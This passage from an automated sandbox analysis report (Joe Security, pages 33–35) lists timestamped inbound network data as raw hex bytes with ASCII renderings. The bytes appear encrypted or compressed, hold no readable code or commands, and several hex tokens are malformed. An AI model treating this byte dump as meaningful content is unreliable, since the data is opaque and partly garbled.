2022-01-15 19:23:30 UTC 624 IN Data Raw: 1b 92 78 bf d5 43 27 1f a1 bc 98 7b 3d f0 f6 6a 6d fc 55 4d 96 f7 9b a3 f4 98 1b 52 dc 4a 43 70 9d 62 2d 0b 37 58 d1 42 04 c2 5b b9 7a a9 fd bb f0 ba 5d 51 fc 26 64 dc 41 8e de c2 d1 eb 90 9e 98 1d 59 b8 6a 90 42 7a 45 89 d0 a4 af 6e c0 45 f8 7b 35 b5 b3 bb 5e 04 4e 3c 87 60 43 17 1d 6f 31 c4 05 cd cd 42 1b eb 18 7f 61 45 bf c7 92 5d 8a e1 ee 71 66 51 9d b9 cb 1c ea 1d db 05 5c 38 20 d2 fd a6 34 a2 34 21 58 12 02 76 30 19 a6 0c 4c ff 33 0c e4 45 9e ad b8 1c fc aa ca 8d 55 da 61 34 ae cc 5f 9e 65 66 bd 6a fc 1b 60 7e c3 23 d7 98 82 07 31 26 fa c1 e0 46 7e 15 ed 59 43 e8 ff 01 64 50 81 d3 b6 a1 76 77 22 ff f1 63 38 04 2d 1b eb 7e 13 6b c2 7f 67 a0 57 b3 2e e8 3b 52 14 6a f9 60 6d 90 20 f7 48 5d 45 93 6a 6a 21 4b 31 db 5e 22 cf 1c 9d 06 97 22 75 8c e8 54 31 Data Ascii: xC'{=jmUMRJCpb-7XB[z]Q&dAYjBzEnE{5^N<`Co1BaE]qfQ\8 44!Xv0L3EUa4_efj`~#1&F~YCdPvw"c8-~kgW.;Rj`m H]Ejj!K1^""uT1

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 33 of 103

2022-01-15 19:23:30 UTC 640 IN Data Raw: a8 fd 13 3c bf cc b7 f1 ee 4d ff 60 89 0e 05 4f 5b a7 ba 66 61 ef bd 3e bd 8b 7a 81 76 a2 75 af d9 e5 47 70 c2 f57c e0 b6 58 b0 95 ef 5f 28 48 d2 7b 27 b7 e9 a5 96 c4 7d 44 4b fd aa e1 f1 92 c3 1f d6 1a 3c 1c 82 7c 49 d8 a6 23 e3 92 b2 c4 2a 0b 05 20 fe 57 be 57 fa f5 25 50 a8 59 9a 48 12 6b d7 f9 fa 61 4e 43 82 e4 0d 7e 7d 76 3d 5c ee 04 44 41 7f 5c 58 48 b2 96 6e 0c ab 62 5f 97 65 36 42 dd cb 70 96 74 87 19 bb 35 e2 a3 a3 00 71 9d bf e8 ce 7d ac 1c b3 e5 e5 be 12 14 5e 50 34 16 20 59 32 76 75 bd a3 e2 f4 ca 42 9c 2a ce f6 00 df 59 33 65 e1 d6 dd 1e fd 0b 75 1b ff 95 40 8b f6 ac ea db 7c 64 27 4f 91 46 0e 09 9b 3d 3c 94 a3 c2 04 71 46 4a b5 da a6 05 9f 2d cd 61 f7 bc 80 67 ca 5b 6b 19 11 cb 48 47 de b1 7a 53 0e 77 f7 0a 6a fd e3 6a 7d f0 83 e7 88 52 55 Data Ascii: <M`O[fa>zvuGp|X_(H{'}DK<|I#* WW%PYHkaNC~}v=\DA\XHnb_e6Bpt5q}^P4 Y2vuB*Y3eu@|d'OF=<qFJ-ag[kHGzSwjj}RU

2022-01-15 19:23:30 UTC 651 IN Data Raw: c3 09 ab fb 71 ff e1 de 8a 8a 97 f5 bc 51 d1 9d db 16 4c ec 24 1f c2 55 38 e7 4b 0a 53 62 01 52 f8 69 71 58 26 51 e0 6c b5 3b f4 b8 87 80 43 3c 64 1a b6 00 17 be 1a d9 1a 3e 09 33 e2 21 1f 2f 79 5d aa 82 a2 43 7b 8a e2 3e 1c 96 15 a7 ba 24 b7 85 81 d5 24 2a 19 08 42 f1 54 c8 4d e4 0f 45 20 ff 95 3d 0c 3b 4d 15 a8 a9 1e 93 17 07 74 36 62 e6 a7 48 04 8a f2 49 2f 3a a2 31 ff fc a0 52 d8 75 34 16 52 f4 1d 84 aa 68 66 f0 51 ec db cc 12 88 7e 42 4a 66 21 6d 5a c4 a3 64 ca 36 0d 83 39 68 f9 07 cb 58 ab 8d 5d 07 3e d7 e2 22 c2 e6 17 cf 6c b7 4f 6b 00 c8 2c 0d 94 26 9d af ef b7 86 22 84 82 fe eb 38c6 7d 63 b2 ca 3a 4f d7 5b 55 4b 1d 6f 97 d1 5f 19 e1 0d 9d d5 b3 20 47 0e c1 6b 0e 77 25 64 21 68 4d 50 25 ed 6c 7a f7 1d 9b d9 66 6f 76 0a d1 ef 94 10 3a a8 d8 cc 8f Data Ascii: qQL$U8KSbRiqX&Ql;C<d>3!/y]C{>$$*BTME =;Mt6bHI/:1Ru4RhfQ~BJf!mZd69hX]>"lOk,&"8}c:O[UKo_ Gkw%d!hMP%lzfov:

2022-01-15 19:23:30 UTC 667 IN Data Raw: 91 39 3e 71 82 28 b5 ea 5e 04 fe 50 0b 74 33 ea 70 cc 7c 80 c0 4b b6 b9 aa 1e 47 4c 12 7f 09 fa 56 17 2c de 76 9a b2 2a e0 6e 64 6f e6 77 29 10 f3 a7 cc c0 dc 55 c6 28 27 39 e6 74 4e 9d d0 e1 5c d0 36 41 75 c5 dc 28 e2 82 84 fd b9 75 79 3a 8b 99 0a 2e 60 92 2c d4 ab 02 67 92 f1 68 41 59 21 47 52 26 3b 76 b5 4d 68 ab 15 1a 13 ad 25 60 65 a8 16 02 4c a0 0c aa 54 fb 7f da d5 40 26 da a9 f0 a9 30 52 b6 3f 6a a8 63 eb e8 89 f8 51 af 83 2e 07 99 6e 84 bc 89 39 a7 05 72 5f 5d c1 e4 2d c1 2c 8e a0 d9 57 c9 ca 7d 3c 18 90 ac 17 55 8a 55 ea bf fd 57 55 ed 25 55 5c c6 9e 40 65 af 7b 5d 0e cf 03 62 29 91 c0 6d 2e ac 9b 2a 6c 56 c6 31 4e f5 0a 29 46 1e e2 29 5f 1a 72 70 d0 3f 50 d5 87 3a 8e 09 f9 ec 0f 07 fd 6a f8 d5 a0 09 f7 5f 9a ec 0c 43 6c e2 52 72 58 e4 bd 9b f6 Data Ascii: 9>q(^Pt3p|KGLV,v*ndow)U('9tN\6Au(uy:.`,ghAY!GR&;vMh%`eLT@&0R?jcQ.n9r_]-,W}<UUWU%U\@e{]b)m.*lV1N)F)_rp?P:j_ClRrX

2022-01-15 19:23:30 UTC 683 IN Data Raw: 4f 36 9d 30 ae b0 34 44 c6 52 12 9d f2 a8 f4 09 66 d0 4e bb 66 99 ad a6 7b 1a f0 55 bb e2 94 a8 1b 11 97 ba e1 4d 07 dd 8a 63 03 3f db 4d e2 df 6f 07 2b de 26 f7 ce 13 2b 80 09 b3 54 67 70 2a 2b 6a ea 17 55 9e 47 f5 2e 13 6c 3b 72 02 0d 4b d3 1b 2c 85 58 45 d0 6b 34 a4 89 a0 9a 15 ec 29 45 48 87 fc 11 6c 0b 28 94 59 43 b2 bf 49 6e e8 53 6c 1c 2d 00 1c ed 05 49 46 73 93 69 eb 87 20 5d df ed a7 c2 66 e7 a1 fc 8d 90 f0 40 73 a1 8c 73 7a 88 9f fb e8 9f e2 c8 a5 b2 2a 5a 72 0f fd 9d 22 37 f4 c7 95 3b 18 d9 d5 23 9a 77 d0 9f f6 11 e6 e0 73 d3 48 fb da 44 60 99 dc b7 6b 2b 7e ab fe 03 31 28 66 c1 69 71 f7 4e 65 5c 1f 3b 52 a6 33 fa 85 cb d3 5d 97 2d 38 92 28 1e c8 55 a1 16 7d 02 08 07 d6 5c c9 b6 b8 cc bb 7f e6 70 56 b0 e8 bc a2 7f f4 a5 d4 71 f5 2a 37 b8 25 a9 Data Ascii: O604DRfNf{UMc?Mo+&+Tgp*+jUG.l;rK,XEk4)EHl(YCInSl-IFsi ]f@ssz*Zr"7;#wsHD`k+~1(fiqNe\;R3]-8(U}\pVq*7%

2022-01-15 19:23:30 UTC 699 IN Data Raw: 9e 66 6f d4 3f 33 fb 5a d8 c6 bd 74 55 e0 a8 9a 41 56 32 dc 72 74 d0 77 88 8c 40 99 79 06 cd fd 86 7f 40 4e 08 4e 47 05 b9 fb 86 fc ff 77 f0 60 2b 93 e5 85 72 1b 7c 41 38 94 99 b2 18 7e da 70 df 3b 1f a5 7d 44 d7 70 c6 b5 8e 14 10 9d 2e c6 ae f1 e5 0b 36 78 af cb b9 13 fd e8 56 d1 c0 b5 ee bf ca 44 af 1c 90 89 a6 6b df 0d a0 0c e6 f2 cd 91 58 2a f4 fd 79 e1 92 17 55 0f af 86 2a 16 93 70 24 3f 81 e6 14 a7 01 e0 e0 aa 3c 6a db 1b e2 bd 89 5a 95 c8 26 39 46 fd 0e 7d 5c ce 8a 37 0a 1a 90 1c 2d 78 c6 c3 89 39 d3 1c ef 56 45 4c 74 ad df 6d 4c 52 25 a3 e9 9a 89 c6 37 eb 31 a2 ac 7c a1 eb 92 1d 67 65 4f 26 f4 29 e2 59 c9 4b ba fc 02 63 51 20 bb b3 af 99 eb 81 5f f1 a0 c2 5a 08 35 8b 30 00 55 37 76 5c bd b6 d1 01 ce 7d 7c dc d6 9d 2f 64 30 39 4e 19 08 35 ae eb 7d Data Ascii: fo?3ZtUAV2rtw@y@NNGw`+r|A8~p;}Dp.6xVDkX*yU*p$?<jZ&9F}\7-x9VELtmLR%71|geO&)YKcQ _Z50U7v\}|/d09N5}

2022-01-15 19:23:30 UTC 715 IN Data Raw: e4 84 a9 a7 3b b7 d2 e4 b2 43 4b 5d 46 56 97 b0 d0 10 41 28 31 5d 9a 12 8c a9 52 82 96 f5 26 a1 1f a3 2c 23 dc 24 58 5d 0d f5 44 7b de 19 e8 0d 1b 45 0e a0 14 4e a7 1d a1 27 b4 03 10 7f 9c 6b 26 b5 18 78 57 e8 64 3c ee 9e 11 cf 9f 20 9c 02 1e 30 7c 69 29 92 95 dc dc 5f 9f af b8 2c 7b ee 1b 15 fe 45 57 59 03 d0 04 e4 ec c4 c1 66 af 5a 9c 6c e7 74 6d 7c b4 fe 20 e1 ac f3 7d 79 7b 2c 32 e1 55 03 37 55 75 8f e8 bf 0e 31 fe dc f2 26 f2 5e c8 20 41 d5 6c c1 aa 8b 38 64 67 5f 87 2a 4f 92 46 5f bf 31 75 ef 5f 6c b3 9c 00 20 25 08 fd ee 4b d2 a0 36 6c 63 88 61 fa eb d4 a4 34 ce 2e 84 fa 93 40 54 96 c0 12 46 5e f5 8f cf a7 fb e9 81 1e 57 e2 b8 2f 4a c7 f0 30 6f b0 51 f0 7b f6 ed b5 eb 55 da 5c 97 25 3b e5 d9 63 65 96 4c f8 59 1f 33 23 f5 ce bd c5 12 f9 83 c0 c3 85 Data Ascii: ;CK]FVA(1]R&,#$X]D{EN'k&xWd< 0|i)_,{EWYfZltm| }y{,2U7Uu1&^ Al8dg_*OF_1u_l %K6lca4.@TF^W/J0oQ{U\%;ceLY3#

2022-01-15 19:23:30 UTC 731 IN Data Raw: 1b d0 c3 d6 4d 9f 93 93 68 11 b6 81 28 ae 94 18 45 1c 62 f6 d6 d1 9d ff f3 a5 5b 92 0b b4 9b 75 2e 69 47 5e 74 bb f4 14 37 03 a7 bb ba 40 66 93 6a 17 de a4 cd bb 77 9a 85 61 7d 91 9e e9 57 a2 88 b7 55 83 a9 4c 67 6f 87 ec 95 43 d8 46 16 dc 8a 92 b2 3b a8 1a 15 ef 6f 13 44 5b 64 c6 e5 1e ce d8 13 35 33 c1 11 4b e6 6d 2f 65 6c b4 c5 55 a7 e7 5e 3a f9 27 59 ad 1c 37 30 d2 ee f3 41 bd 11 a0 65 40 5c e9 23 8c 50 3c ef f6 9e b8 8f aa 09 89 2c 5c a4 71 8c 23 56 98 80 50 7e 9b 85 ea ab 9a 43 a9 7b 7c f1 75 4e b7 26 95 5d f6 81 95 a0 b6 0f e4 7c 7b 36 37 9d b8 3b 3d d7 e3 f4 74 0d e3 74 6f 57 61 35 23 63 23 18 a0 0a 74 59 59 87 fe bf 1e 7f d4 35 49 70 ab 8d 90 1d 8a f9 18 e7 62 ae ad 6b 8a 12 d5 2b c5 f6 ce 25 cc f4 30 3d ea dd 98 bf c5 22 06 2e b5 fc 89 c7 8a a9 Data Ascii: Mh(Eb[u.iG^t7@fjwa}WULgoCF;oD[d53Km/elU^:'Y70Ae@\#P<,\q#VP~C{|uN&]|{67;=ttoWa5#c#tYY5Ipbk+%0=".

2022-01-15 19:23:30 UTC 747 IN Data Raw: 14 57 2a 1b b6 7d 6d 24 a7 4c 3f 33 f6 b8 a2 77 9b 1c 28 2b c3 c8 e4 48 a6 a5 2d ec 9a 48 c2 03 2a 23 cd 8b 01 fc 2f 0e a8 61 78 87 c0 98 86 6f db 70 bc 3a 0e 80 87 92 62 08 a3 b2 57 f7 b9 70 80 82 11 93 61 66 00 4f 3f d6 52 5f 87 d5 88 32 64 ce ba 2d c0 85 06 e8 e6 a5 93 09 aa 5b a7 70 af 3b 19 63 ff 26 f0 c7 5a a6 bf 77 04 65 0d e7 29 00 a0 18 67 a1 ab a9 ed eb 33 1d 80 dd 96 aa 11 2b c7 4c d5 05 6b 5f ba 3e 0a 71 84 96 18 8f 90 ab 66 3e 6d 63 23 75 e4 73 52 83 da b9 21 15 e2 26 50 fd b1 fb bf 87 14 3e 73 37 bc 9a 9a ca 43 3e 6b c4 2f 5a 86 22 3c 80 69 b7 d5 5b 2d ca 63 01 7a cb 47 37 bd d0 4c 8d bc b9 c3 cb dc 72 b8 56 3d d7 dc 71 dd 82 2a f5 7d 35 f6 cf f1 9f c5 ec 08 ea 95 34 11 10 41 93 4e 21 01 92 bc d3 66 7c 89 62 79 fe 68 77 0e 92 9e e0 04 2d d3 Data Ascii: W*}m$L?3w(+H-H*#/axop:bWpafO?R_2d-[p;c&Zwe)g3+Lk_>qf>mc#usR!&P>s7C>k/Z"<i[-czG7LrV=q*}54AN!f|byhw-

2022-01-15 19:23:30 UTC 763 IN Data Raw: 33 4b e9 cc 58 89 ea 3b fd 0c e3 70 d8 0b 62 91 b9 75 4e e2 03 90 d2 19 a9 bd 9d d6 88 6f 8c 61 31 25 6a 60 f8 fe d4 3f 08 93 7a 50 20 c8 a1 e2 f8 57 42 85 98 7d 14 1f b9 89 34 47 ae f7 a1 16 2a e9 53 fd a8 10 5e 75 5c a0 d3 3b 4b 60 d7 69 3a da 62 d7 5f ea c0 fa e9 3f 49 2d 9b 26 f3 9d 32 ca 42 07 5f 14 be 1a b2 4a 91 5a e7 bc a3 6f 73 34 54 d2 45 38 0e dc ae 11 3a a2 ca 2e 55 86 3e 45 04 6b 21 55 f5 48 b9 a6 92 91 86 7b 4d a7 9f 68 07 31 a9 b9 46 08 bf cf 5b 3b 4d b5 57 3e 7e 87 bd 5a 1a f0 1a b2 4f 21 b5 0f 5f 4c 4e ce bb c7 a8 8e 42 0b 55 cd 10 c8 74 d8 08 8b 7b d9 28 a2 c3 77 8f d5 79 c7 94 fa dd 13 30 4f 08 61 f8 c9 79 4f 1c e7 51 16 1f 2f e1 c7 d7 1f 63 95 b2 82 9f 30 b2 a3 e0 54 cd 44 ed cb 00 cd 11 9e 8e 8d d1 56 f0 bc d6 2e 35 b8 3e f8 74 61 5a Data Ascii: 3KX;pbuNoa1%j`?zP WB}4G*S^u\;K`i:b_?I-&2B_JZos4TE8:.U>Ek!UH{Mh1F[;MW>~ZO!_LNBUt{(wy0OayOQ/c0TDV.5>taZ

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 34 of 103

2022-01-15 19:23:30 UTC 779 IN Data Raw: 20 ad 01 7b ca b9 c6 a7 85 b5 0e b5 e8 54 80 db 20 90 ff e0 95 90 ad 67 30 83 20 1f 12 3c 32 30 f8 f0 2a 1d 05 aa 4f ef 8b a0 e5 4d 00 ed 41 ee 85 b4 66 ed 25 73 3a aa 71 de f0 38 ff 62 15 76 dd 93 ca 5f 86 65 67 66 ff cb 13 65 40 83 9f 2b 4c 6e 5d 7a 81 19 a7 d3 30 30 20 eb 8e 01 41 53 56 8d fc 44 f6 2f 51 c3 4f e3 10 d1 e3 ab df cd 5d b2 35 85 69 7a 56 59 b8 ae 20 fa 88 bb 33 53 f0 49 e3 84 e9 55 dc aa 5d 53 a7 79 9c 22 61 2f 64 4b 33 73 3d ef 98 8c 84 b5 b1 e2 12 1d 1a 78 f8 eb 99 43 f7 04 72 f2 5b 8b 5f 43 2c 2b 5d d2 b2 6a ae b8 95 47 ca 41 35 e5 1f 90 da c7 f6 dc ad b7 e6 8d 4f 08 bc 8f 9b ea 9f 8c e6 7a 92 8b 11 ac 0e 7d 7e 5b 05 e6 75 bf 38 d3 a7 61 10 85 7d 3c 6f 10 e9 c7 2f 29 46 71 00 46 ff db 04 ba 77 69 01 55 3f 2c 5e 31 4c 32 67 b6 64 7b 37 Data Ascii: {T g0 <20*OMAf%s:q8bv_egfe@+Ln]z00 ASVD/QO]5izVY 3SIU]Sy"a/dK3s=xCr[_C,+]jGA5Oz}~[u8a}<o/)FqFwiU?,^1L2gd{7

2022-01-15 19:23:30 UTC 795 IN Data Raw: a2 48 f5 b0 38 80 1c dd 4b 0a a1 85 56 bc 8e b0 4a 4d 26 44 d7 b3 a2 04 67 bf 90 a5 96 0c 16 57 2f 2f 56 f7 3e d3 0a 2a aa 01 66 70 be 5e b6 39 a8 91 b2 bb 2c 69 42 5b 78 38 df 5c 96 10 72 25 ec 8e 21 0e 17 9c aa 23 e4 e5 cb 1f 81 93 f1 f6 8e ec 30 db 48 48 64 14 46 55 8d 0d e1 8d 4a 5e 56 46 71 69 3e be 75 e9 77 c5 d3 cc f1 30 26 36 1d 6f a0 36 08 dd ed f2 59 fd ba 6f 12 b6 e9 9d 5c 48 6e 2e 87 ce 4a 60 00 f6 ab a7 e4 9f ce 7d 3b 52 8c 7a 91 f5 3f 9b 91 7e 53 a6 3a bc 15 92 ce 2f 39 7a 80 4b 18 d5 57 8a c3 1d 81 38 dc 7e 42 7e 0a 2a d7 fe 59 ba 02 5c 7f fa 2d c9 8d 91 60 06 21 b2 92 07 5e 8e 8d 51 b6 ef e8 72 62 07 39 3b 7b ec 9d 73 7d de 7d c8 12 33 6c eb e4 57 55 31 26 77 80 37 16 9c 37 5d 1f 4d af 5c f6 95 5a eb 3c dc 7e d3 cd 1d 20 9c 39 5f 23 b1 b7 Data Ascii: H8KVJM&DgW//V>*fp^9,iB[x8\r%!#0HHdFUJ^VFqi>uw0&6o6Yo\Hn.J`};Rz?~S:/9zKW8~B~*Y\-`!^Qrb9;{s}}3lWU1&w77]M\Z<~ 9_#

2022-01-15 19:23:30 UTC 811 IN Data Raw: 6a 51 a2 19 4f 14 f5 09 92 5b d0 81 1b e4 18 44 5e 95 80 8d b5 b6 b4 ce 85 85 79 c4 ad cd 18 d4 01 a2 5a 23 10 06 4a 6a 05 ba aa 1c 0e 4e 29 80 11 75 e1 f5 56 fd 34 3b 17 d4 19 b3 4f 3a 4c 89 ab 84 f6 54 d2 b1 a9 17 a1 d1 95 10 46 58 47 3a 53 04 03 b2 5b 0f 48 73 13 76 8a 4a ed 7b 9c 9f 03 0b 1a cb e7 9c 1d 7c bd 31 08 13 31 32 8e 4f a4 93 5a 29 20 3a d4 d1 b4 57 4e 5a 26 e4 e0 e9 89 55 79 d5 84 9a e0 b9 59 66 49 24 a9 65 e8 7c b5 00 6c 24 ff 6d 5f 4b 7d 8b db 8e cb a6 b4 20 4a 14 96 39 ab ca 0b 6f 6c 01 20 1a 1c 1f f1 db e2 97 3a d7 76 cc db 42 9c c4 e3 ad 90 7f 0a 7e e1 cc 0d 79 d0 b3 b2 a7 8b ab 7f 85 72 41 4d a2 3f 7a 55 b8 d9 40 76 f1 e5 af 7a a4 14 8b 06 bd f1 89 e1 0d fa ed 3d 28 f7 9d a6 76 9d 9f ff ac 53 90 1b a0 e7 22 07 a5 8e 79 79 4a 7a 4b e5 Data Ascii: jQO[D^yZ#JjN)uV4;O:LTFXG:S[HsvJ{|112OZ) :WNZ&UyYfI$e|l$m_K} J9ol :vB~yrAM?zU@vz=(vS"yyJzK

2022-01-15 19:23:30 UTC 827 IN Data Raw: 6c 73 e3 18 35 12 27 fe ca 85 f6 b7 f4 18 3a 99 e2 ce 27 34 fb 9c d1 34 86 07 8c 78 93 57 f3 fe 7b 48 ea 98 5c cb e7 02 1d 87 fc c9 fc 23 6f 79 5d b8 5d af ad f0 89 52 ef 87 95 b8 82 cd 21 d1 89 95 5c b7 17 6e 12 1b 6f 4c 40 ee 17 ee 73 69 c6 4f 7a 21 88 e2 68 e7 0b 20 0e 85 fe eb b5 a0 de f1 71 7f 4f fe 42 97 4b d0 d8 cb 8d 14 69 20 7b d3 d8 2a 67 ee 38 67 a8 e6 53 d6 51 f4 ed 33 97 0d 51 d5 36 32 99 df 75 64 0b 04 59 08 0f 08 db 9f 12 42 fd 81 1d 84 48 c1 8e f9 bb df 395c 76 60 3c 35 21 5a 8f b5 9c d8 6a 18 04 1c 56 3c 67 5f c8 33 cd 68 24 3f 3a 84 02 49 72 9d 7e 6b 6a 2d 99 92 0f b7 f9 4e 73 b7 52 3e fc 87 9a a6 9c fd 45 fa de 96 b8 89 23 75 1d d0 1d 26 da aa f7 5d 4b a7 53 65 f1 55 62 db 82 65 53 4a ad 08 97 43 cf bd 4a d8 ce 85 e4 4a c5 08 1f 86 68 Data Ascii: ls5':'44xW{H\#oy]]R!\noL@siOz!h qOBKi {*g8gSQ3Q62udYBH9\v`<5!ZjV<g_3h$?:Ir~kj-NsR>E#u&]KSeUbeSJCJJh

2022-01-15 19:23:30 UTC 843 IN Data Raw: fc b8 12 78 b8 86 d0 d8 26 02 09 b5 5d d0 3a 32 7e 49 15 05 31 e8 80 56 f0 9e 5f ee 7f db 55 be c9 82 35 53 47 c7 67 ec 52 46 66 e1 88 19 39 1a c5 aa cc b9 11 a5 c9 1e 15 9c 37 f6 af fd ee 8f f9 49 9f 7d 8d 2b fe 2e da 71 c0 6b d7 7a 5f 88 60 80 65 9f 7f f5 5f 4b ca 93 02 74 6a 73 6f 52 df 0d 84 1c 5b 62 66 94 9d 93 c5 18 e4 10 46 cd 75 33 75 ee b4 b1 41 32 6f a7 b2 53 9c 7c 45 2a 8f 38 d3 f9 99 b6 de cf 69 ff 28 be 49 e8 f9 01 eb 61 63 5a b3 c1 0a 56 db cf 2e 0f 68 91 82 89 5c 2b b4 0d 5a b4 a6 34 3e df 4b 80 64 6b 19 98 f6 43 fa c3 81 3d 94 76 36 a4 cc a0 e5 7e 9e 02 63 03 74 c5 52 75 59 24 c7 c5 5d fb 6f a9 01 b2 74 a1 6a b4 22 e8 d5 f0 01 18 29 8b a0 7e 09 ef b1 d2 5f 88 ec 42 f7 30 39 3a fc 7d 59 7e ca 08 03 20 c3 6c 67 2c ff 7f 94 6e ff 1a 78 f1 bb Data Ascii: x&]:2~I1V_U5SGgRFf97I}+.qkz_`e_KtjsoR[bfFu3uA2oS|E*8i(IacZV.h\+Z4>KdkC=v6~ctRuY$]otj")~_B09:}Y~ lg,nx

2022-01-15 19:23:30 UTC 859 IN Data Raw: f8 06 7f d2 f7 4e fe 4c 23 ce 33 ff 38 42 e9 03 ae bd a8 4c c2 5f 9c f7 b0 05 d4 34 f7 bc 4d ff 91 06 65 dc f3 7b 3f 25 e4 75 01 bf 7f f3 fb 29 3e 6b 53 7a c6 2f df 8d 79 c1 01 18 f1 45 10 71 b3 bb 75 cb 19 f4 c1 65 71 24 36 85 32 28 36 c8 92 b8 5c bc 90 c7 bd 0b 1b d3 5a 37 91 8c 90 ae 40 10 9b d5 74 15 c9 cc e3 2a 81 12 39 56 8c 79 6b 7d 12 2e 43 4f 28 82 74 1e d9 ab f5 91 c9 37 31 27 d8 93 fd 71 05 83 a7 8b 1d 22 7f ac ea 32 23 ed 09 26 d8 11 7a ba 8c c2 53 54 1a bb d4 0f b5 08 bc 39 e6 d7 d0 f2 26 ea c1 fd 88 e8 0d 68 a2 7d eb fe e2 8c 68 7f b4 48 b7 f0 af 26 1e 24 79 ef 3a d0 aa 32 6e bc e4 ae b0 3f 77 0d 27 22 df 66 40 b5 94 4f 51 7c 53 52 10 fc a8 8c 88 cf 75 9d b2 d7 ae 08 fb 29 d6 3f cc de a6 b2 5e 82 76 9b 6d fd f2 85 a2 ec ed 3f d6 32 c9 10 1d Data Ascii: NL#38BL_4Me{?%u)>kSz/yEqueq$62(6\Z7@t*9Vyk}.CO(t71'q"2#&zST9&h}hH&$y:2n?w'"f@OQ|SRu)?^vm?2

2022-01-15 19:23:30 UTC 875 IN Data Raw: 39 94 4c 7d b2 1c d5 41 55 06 6d f7 46 33 86 4a 60 c0 10 37 89 34 5f a2 db 7a eb 1d c2 4a b8 35 1a 24 dd 11 81 7f 40 bc 36 e2 72 6c a0 66 b9 0d 27 06 da 67 81 cc 02 54 d2 ec 1b 89 65 f8 fa b6 4a ce 50 fd e8 76 7d 4b 0e aa 6c 3a 53 45 bf 11 bf ea 1b ec 9c 71 3c 3f 46 43 0d 4b 12 57 48 6d af cc db ba e0 cf 56 43 e0 8d 5e 41 20 7e 81 21 17 84 6f 2c b3 23 95 53 22 3a 81 23 49 d3 fb dc 58 a0 55 37 c1 60 cb a2 7d 99 1d a7 de 9d 3c 14 d4 bc a8 b5 74 7e 21 07 c1 83 e1 3c e53b 69 3c 98 e1 2c 66 bf 25 c9 ac 4f 2d 30 3d c2 eb a4 fc b5 8c 45 5a 17 cf 15 81 2e eb 4a 3e b3 29 f6 98 ce dd f0 60 57 cb f0 94 1d 50 a1 03 c8 6c bb 49 bf 3e 0a 0f ca 2b 0a fd 37 2c 51 7d c1 3b f3 5e 73 f1 4b 00 f1 41 6c 43 19 04 9f 45 4a e6 58 3e 49 80 91 23 32 59 14 69 32 c4 ae f8 df b8 95 Data Ascii: 9L}AUmF3J`74_zJ5$@6rlf'gTeJPv}Kl:SEq<?FCKWHmVC^A ~!o,#S":#IXU7`}<t~!<;i<,f%O-0=EZ.J>)`WPlI>+7,Q};^sKAlCEJX>I#2Yi2

2022-01-15 19:23:30 UTC 891 IN Data Raw: 3e de 07 45 70 d4 fd 13 71 3a 9f 66 db 9b c4 3f 05 3c db 93 13 b7 1b af 8b 51 d0 c0 37 c2 40 26 be 78 46 da 50 44 f3 99 e8 11 0a 48 4b 09 f2 0a 37 ad 62 6c 24 02 70 b9 f0 5f 4c d7 6d 27 85 7a 7c aa 29 ce f0 84 1b 2c c7 cc 01 21 3f 5a f5 24 9c bb f7 73 19 68 97 e2 ba c3 61 7d 18 e8 91 44 e9 39 c0 71 70 fe 34 48 30 f8 ca 9c 34 49 c4 ce 83 81 a0 07 39 a0 dd 5f 57 3e 59 f3 63 d1 79 d0 59 91 aa 7f 5d ee ac e2 14 0f fa 7e 73 cb fe 40 d6 2c a5 1c c9 af 36 52 c8 c6 f6 ad bd d9 3c ab d3 46 05 ce 75 2c 9e 2c 30 6e 57 3f d5 70 4b 04 bd 03 36 5e 6c 75 0f 3a a3 f6 5b d2 60 2e b4 c6 3e ff 87 ec 71 bf 9c d5 3c eb ee d4 d1 c2 fc 84 70 bc 6e 4a 21 ca 7f 16 e3 cd 7a 3f 85 1d b7 ea 14 57 16 e7 e0 cc 08 6d f7 35 38 b2 f5 fd 11 c7 11 a5 a3 12 52 60 bb 66 d4 4a ab 86 7c 59 ee Data Ascii: >Epq:f?<Q7@&xFPDHK7bl$p_Lm'z|),!?Z$sha}D9qp4H04I9_W>YcyY]~s@,6R<Fu,,0nW?pK6^lu:[`.>q<pnJ!z?Wm58R`fJ|Y

2022-01-15 19:23:30 UTC 907 IN Data Raw: 67 0e 46 e7 2e 72 da 75 de 4f 16 c8 ef 3e f2 be b5 50 66 c9 c3 a4 e5 14 a0 25 59 da 91 20 f9 39 60 93 f5 fb 84 1f e3 43 f5 d1 05 e3 c2 5f f5 0c 7b 15 c6 60 89 c8 ee 7b d8 fe 60 a2 20 58 47 ba a3 93 c5 b9 a0 7a 43 0a 2d f5 71 a9 c2 b059 05 c8 f4 77 cd 6f 05 fb d3 bb 4d 5c d3 08 99 66 0a 29 92 94 18 96 03 8b 9c 93 a4 85 d7 62 ec 34 18 c8 55 f8 18 d9 a8 0b 2b 6b 2b 1e a1 bc fb 7d 16 0d 65 4d 67 cf 89 e6 14 40 81 ea 95 67 44 31 81 3b 03 2c 6f f3 f8 fd 6b 0f f2 2b 23 c5 cb 51 9d ce eb 0d 0a 6f 4c 01 12 2b e4 1b 57 53 90 d4 3c 71 1a 13 d3 00 e5 27 e2 90 ce 90 d4 ca 15 75 c9 e3 43 b4 60 d4 4b a5e1 86 f7 6e d4 95 44 02 a9 f0 b1 a4 a1 01 39 11 21 46 4d 1c 66 76 ea 51 ed 31 26 06 66 05 6c 43 d2 68 cf 29 ce df fc 3c a2 92 ee 2e b1 b1 41 05 a0 67 94 a5 cd 21 f5 d5 Data Ascii: gF.ruO>Pf%Y 9`C_{`{` XGzC-qYwoM\f)b4U+k+}eMg@gD1;,ok+#QoL+WS<q'uC`KnD9!FMfvQ1&flCh)<.Ag!

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 35 of 103

